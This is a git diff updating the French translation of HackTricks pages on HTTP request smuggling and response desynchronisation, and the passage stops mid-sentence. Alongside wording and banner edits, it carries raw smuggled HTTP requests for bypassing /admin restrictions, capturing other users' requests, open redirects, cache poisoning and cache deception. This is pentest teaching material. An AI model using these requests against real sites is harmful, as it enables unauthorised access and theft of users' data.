-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/http-request-smuggling/README.md b/pentesting-web/http-request-smuggling/README.md index 96b2dad6b..181318ad8 100644 --- a/pentesting-web/http-request-smuggling/README.md +++ b/pentesting-web/http-request-smuggling/README.md @@ -1,22 +1,22 @@ -# Attaque de Demande HTTP Smuggling / Désynchronisation HTTP +# Attaque de Demande HTTP Smuggling / HTTP Desync
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Qu'est-ce que c'est -Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une **demande HTTP** qui sera **interprétée** comme une **seule demande** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 demandes** par le **serveur back-end**.\ +Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'**envoyer** une demande HTTP qui sera **interprétée** comme une **seule demande** par les **proxys frontaux** (équilibrage de charge/proxy inverse) et **comme 2 demandes** par le **serveur back-end**.\ Cela permet à un utilisateur de **modifier la prochaine demande qui arrive au serveur back-end après la sienne**. ### Théorie @@ -32,7 +32,7 @@ Cela permet à un utilisateur de **modifier la prochaine demande qui arrive au s **Transfer-Encoding: chunked** > L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\ -> Chunked signifie que de grandes données sont envoyées sous forme de séries de morceaux. +> Chunked signifie que des données volumineuses sont envoyées sous forme de séries de morceaux. ### Réalité @@ -44,12 +44,12 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une demande Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :** * **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la demande. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la demande**. -* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain morceau**. Le **morceau** doit se **terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0` +* **Transfer-Encoding** : Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0` * **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première demande de la demande de Smuggling. ## Exemples de Base -Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement sous forme de **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants. +Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en tant que **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants. ### Exemples de Types de Vulnérabilités de Base @@ -60,7 +60,7 @@ Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes - **Back-End (TE) :** Traite la demande en fonction de l'en-tête `Transfer-Encoding`. - **Scénario d'attaque :** - L'attaquant envoie une demande où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu. -- Le serveur front-end transmet la demande entière au back-end, en fonction de la valeur de `Content-Length`. +- Le serveur front-end transmet la demande entière au serveur back-end, en fonction de la valeur de `Content-Length`. - Le serveur back-end traite la demande par morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une demande séparée et ultérieure. - **Exemple :** ``` @@ -81,8 +81,8 @@ Foo: x - **Back-End (CL) :** Traite la demande en fonction de l'en-tête `Content-Length`. - **Scénario d'attaque :** - L'attaquant envoie une demande fragmentée où la taille du fragment (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas. -- Le serveur front-end, respectant `Transfer-Encoding`, transmet la demande entière au back-end. -- Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la demande (`7b` octets), laissant le reste comme partie d'une demande ultérieure non intentionnelle. +- Le serveur front-end, respectant `Transfer-Encoding`, transmet la demande entière au serveur back-end. +- Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la demande (`7b` octets), laissant le reste comme faisant partie d'une demande ultérieure non intentionnelle. - **Exemple :** ``` POST / HTTP/1.1 @@ -136,12 +136,12 @@ Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive -Demande normale +Demande Normale ``` #### **Scénario CL != 0 :** - Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la demande contient du contenu. -- Il est crucial pour comprendre et élaborer des attaques de smuggling, car il influence la façon dont les serveurs déterminent la fin d'une demande. +- Il est crucial pour comprendre et élaborer des attaques de smuggling, car il influence la manière dont les serveurs déterminent la fin d'une demande. - **Exemple :** ``` POST / HTTP/1.1 @@ -149,12 +149,12 @@ Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive -Corps non vide +Corps Non Vide ``` #### Forcer via les en-têtes hop-by-hop -En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un abus de demande HTTP smuggling**. +En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling à exploiter**. ``` Connection: Content-Length ``` @@ -207,7 +207,7 @@ Content-Length: 6 X ``` - **Observation :** -- Le serveur frontal traite la requête en fonction de `Transfer-Encoding` et transmet l'intégralité du message. +- Le serveur frontal traite la requête en fonction de `Transfer-Encoding` et transmet l'ensemble du message. - Le serveur back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un retard. ### Autres méthodes pour trouver des vulnérabilités @@ -224,18 +224,18 @@ X - Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs frontal et back-end réagissent différemment à de telles manipulations. -### Test de vulnérabilité de la requête HTTP Smuggling +### Test de vulnérabilité de requête HTTP Smuggling Après avoir confirmé l'efficacité des techniques de synchronisation, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de falsifier vos requêtes, par exemple, faire en sorte qu'une requête vers `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) montrent comment falsifier une requête client pour obtenir une réponse 404, malgré le fait que le client cherche à accéder à une ressource différente. **Considérations clés** -Lors du test des vulnérabilités de la requête smuggling en interférant avec d'autres requêtes, gardez à l'esprit : +Lors du test des vulnérabilités de requête smuggling en interférant avec d'autres requêtes, gardez à l'esprit : * **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité. * **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. En les faisant correspondre, vous augmentez la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie. -* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", entre en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité. -* **Défis de l'équilibrage de charge :** Les serveurs frontal agissant comme équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité. +* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", entre en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer la vulnérabilité de manière concluante. +* **Défis de l'équilibrage de charge :** Les serveurs frontal agissant comme équilibreurs de charge peuvent distribuer les requêtes sur différents systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité. * **Impact utilisateur non intentionnel :** Si votre attaque affecte involontairement une autre requête utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, exigeant une approche prudente. @@ -245,9 +245,9 @@ Lors du test des vulnérabilités de la requête smuggling en interférant avec ### Contournement de la sécurité frontale via la requête HTTP Smuggling -Parfois, les proxies frontal imposent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant la requête HTTP Smuggling, permettant un accès non autorisé aux points de terminaison restreints. Par exemple, l'accès à `/admin` peut être interdit de l'extérieur, le proxy frontal bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smugglée, laissant une faille pour contourner ces restrictions. +Parfois, les proxies frontal imposent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant la requête HTTP Smuggling, permettant un accès non autorisé aux points de terminaison restreints. Par exemple, l'accès à `/admin` pourrait être interdit de l'extérieur, le proxy frontal bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smugglée, laissant une faille pour contourner ces restrictions. -Considérez les exemples suivants illustrant comment la requête HTTP Smuggling peut être utilisée pour contourner les contrôles de sécurité frontal, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy frontal : +Considérez les exemples suivants illustrant comment la requête HTTP Smuggling peut être utilisée pour contourner les contrôles de sécurité frontale, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy frontal : **Exemple CL.TE** ``` @@ -266,7 +266,7 @@ Content-Length: 10 x= ``` -Dans l'attaque CL.TE, l'en-tête `Content-Length` est utilisé pour la requête initiale, tandis que la requête intégrée ultérieure utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy frontal traite la requête `POST` initiale mais ne parvient pas à inspecter la requête `GET /admin` intégrée, permettant un accès non autorisé au chemin `/admin`. +Dans l'attaque CL.TE, l'en-tête `Content-Length` est exploité pour la requête initiale, tandis que la requête intégrée ultérieure utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy frontal traite la requête `POST` initiale mais ne parvient pas à inspecter la requête `GET /admin` intégrée, permettant un accès non autorisé au chemin `/admin`. **Exemple TE.CL** ``` @@ -284,11 +284,11 @@ a=x 0 ``` -Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête imbriquée ultérieure est traitée en fonction de l'en-tête `Content-Length`. Similaire à l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin `/admin` restreint. +Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête imbriquée ultérieure est traitée en fonction de l'en-tête `Content-Length`. Tout comme l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin `/admin` restreint. -### Révéler la réécriture de requête frontale +### Révéler la réécriture de la requête frontale -Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: `, pour transmettre l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points de terminaison dissimulés**. +Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: `, pour transmettre l'IP du client au serveur back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points de terminaison dissimulés**. Pour enquêter sur la manière dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, créez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit: ``` @@ -307,9 +307,9 @@ Content-Length: 100 search= ``` -Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante. +Dans cette structure, les composants de la requête suivante sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante. -Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête. +Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête. Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche. @@ -317,7 +317,7 @@ Cette méthode sert principalement à comprendre les modifications de requête e ### Capture des requêtes d'autres utilisateurs -Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli : +Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être réalisé : En ajoutant la requête suivante en tant que valeur d'un paramètre, vous pouvez enregistrer la requête du client suivant : ``` @@ -343,7 +343,7 @@ Dans ce scénario, le **paramètre de commentaire** est destiné à stocker le c Cependant, cette technique présente des limitations. En général, elle ne capture que les données jusqu'au délimiteur de paramètre utilisé dans la requête trafiquée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête. -De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête devrait se terminer par `search=\r\n0`. Peu importe les caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche. +De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête devrait se terminer par `search=\r\n0`. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche. ### Utilisation du trafic de requêtes HTTP pour exploiter les XSS réfléchis @@ -395,7 +395,7 @@ Résultats : HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` -Bien que semblant inoffensif, ce comportement peut être manipulé en utilisant le trafic HTTP pour rediriger les utilisateurs vers un site externe. Par exemple: +Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant le trafic d'HTTP pour rediriger les utilisateurs vers un site externe. Par exemple: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -425,7 +425,7 @@ Location: https://attacker-website.com/home/ ### Exploitation de l'empoisonnement de cache web via le détournement de requête HTTP -L'empoisonnement de cache web peut être exécuté si un composant de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **empoisonner le cache**. +L'empoisonnement de cache web peut être exécuté si une composante de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **empoisonner le cache**. Précédemment, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](./#basic-examples)). De la même manière, il est possible de tromper le serveur pour qu'il renvoie le contenu de `/index.html` en réponse à une demande de `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement entraîner un Déni de Service (DoS). @@ -453,12 +453,12 @@ Notez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera Après un **empoisonnement de socket** réussi, une requête **GET** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête de **redirection sur site vers une redirection ouverte** et récupérera le contenu du script contrôlé par l'attaquant. -Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une vaste attaque XSS. +Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une large attaque XSS. ### Utilisation du détournement de requête HTTP pour effectuer une tromperie de cache web -> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?** +> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web?** > > * Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application. > * Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache. @@ -474,11 +474,11 @@ L'attaquant crée une requête dissimulée qui récupère un contenu sensible sp `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -Si cette requête de contrebande empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache. +Si cette requête dissimulée empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache. ### Armes HTTP Request Smuggling avec la désynchronisation des réponses HTTP -Avez-vous trouvé une vulnérabilité de Smuggling de requêtes HTTP et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation : +Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation : {% content-ref url="../http-response-smuggling-desync.md" %} [http-response-smuggling-desync.md](../http-response-smuggling-desync.md) @@ -598,7 +598,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md index 4ec8e5894..9b9b45a8f 100644 --- a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md +++ b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/http-response-smuggling-desync.md b/pentesting-web/http-response-smuggling-desync.md index 099819fa6..fe87df427 100644 --- a/pentesting-web/http-response-smuggling-desync.md +++ b/pentesting-web/http-response-smuggling-desync.md @@ -1,4 +1,4 @@ -# HTTP Response Smuggling / Desync +# Smuggling / Désynchronisation des Réponses HTTP
@@ -9,22 +9,22 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
**La technique de ce post a été tirée de la vidéo : [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)** -## Désynchronisation de la file d'attente des requêtes HTTP +## Désynchronisation de la File d'Attente des Requêtes HTTP Tout d'abord, cette technique **exploite une vulnérabilité de Smuggling de Requêtes HTTP**, donc vous devez savoir ce que c'est : -La **principale** **différence** entre cette technique et un Smuggling de Requêtes HTTP classique est que **au lieu d'attaquer la requête de la victime en lui ajoutant un préfixe**, nous allons **dévoiler ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant non pas 1 requête et demie pour abuser du Smuggling de Requêtes HTTP, mais **en envoyant 2 requêtes complètes pour désynchroniser la file des réponses des proxys**. +La **principale** **différence** entre cette technique et un Smuggling de Requêtes HTTP classique est que **au lieu d'attaquer la requête de la victime en lui ajoutant un préfixe**, nous allons **dévoiler ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant non pas 1 requête et demie pour abuser du Smuggling de Requêtes HTTP, mais **en envoyant 2 requêtes complètes pour désynchroniser la file des réponses des proxies**. -Cela permet de **désynchroniser la file des réponses** afin que la **réponse** de la **requête légitime de la victime soit envoyée à l'attaquant**, ou en **injectant du contenu contrôlé par l'attaquant dans la réponse à la victime**. +Cela est dû au fait que nous allons être en mesure de **désynchroniser la file des réponses** afin que la **réponse** de la **requête légitime de la victime soit envoyée à l'attaquant**, ou en **injectant du contenu contrôlé par l'attaquant dans la réponse à la victime**. -### Désynchronisation de la file des pipelines HTTP +### Désynchronisation de la File d'Attente des Pipelines HTTP HTTP/1.1 permet de demander **différentes ressources sans attendre les précédentes**. Par conséquent, s'il y a un **proxy** au **milieu**, c'est au proxy de **maintenir une correspondance synchronisée des requêtes envoyées au backend et des réponses qui en proviennent**. @@ -32,11 +32,11 @@ Cependant, il y a un problème de désynchronisation de la file des réponses. S ![](<../.gitbook/assets/image (635) (1) (1) (1).png>) -Il est donc nécessaire que la **requête smugglée prenne plus de temps à être traitée** dans le serveur backend. Par conséquent, au moment où la requête smugglée est traitée, la communication avec l'attaquant sera terminée. +Par conséquent, il est nécessaire que la **requête smugglée prenne plus de temps à être traitée** à l'intérieur du serveur backend. Ainsi, au moment où la requête smugglée est traitée, la communication avec l'attaquant sera terminée. -Dans cette situation spécifique, si une **victime a envoyé une requête** et que la **requête smugglée est répondue avant** la requête légitime, la **réponse smugglée sera envoyée à la victime**. Ainsi, l'attaquant va **contrôler la requête "effectuée" par la victime**. +Dans cette situation spécifique, si une **victime a 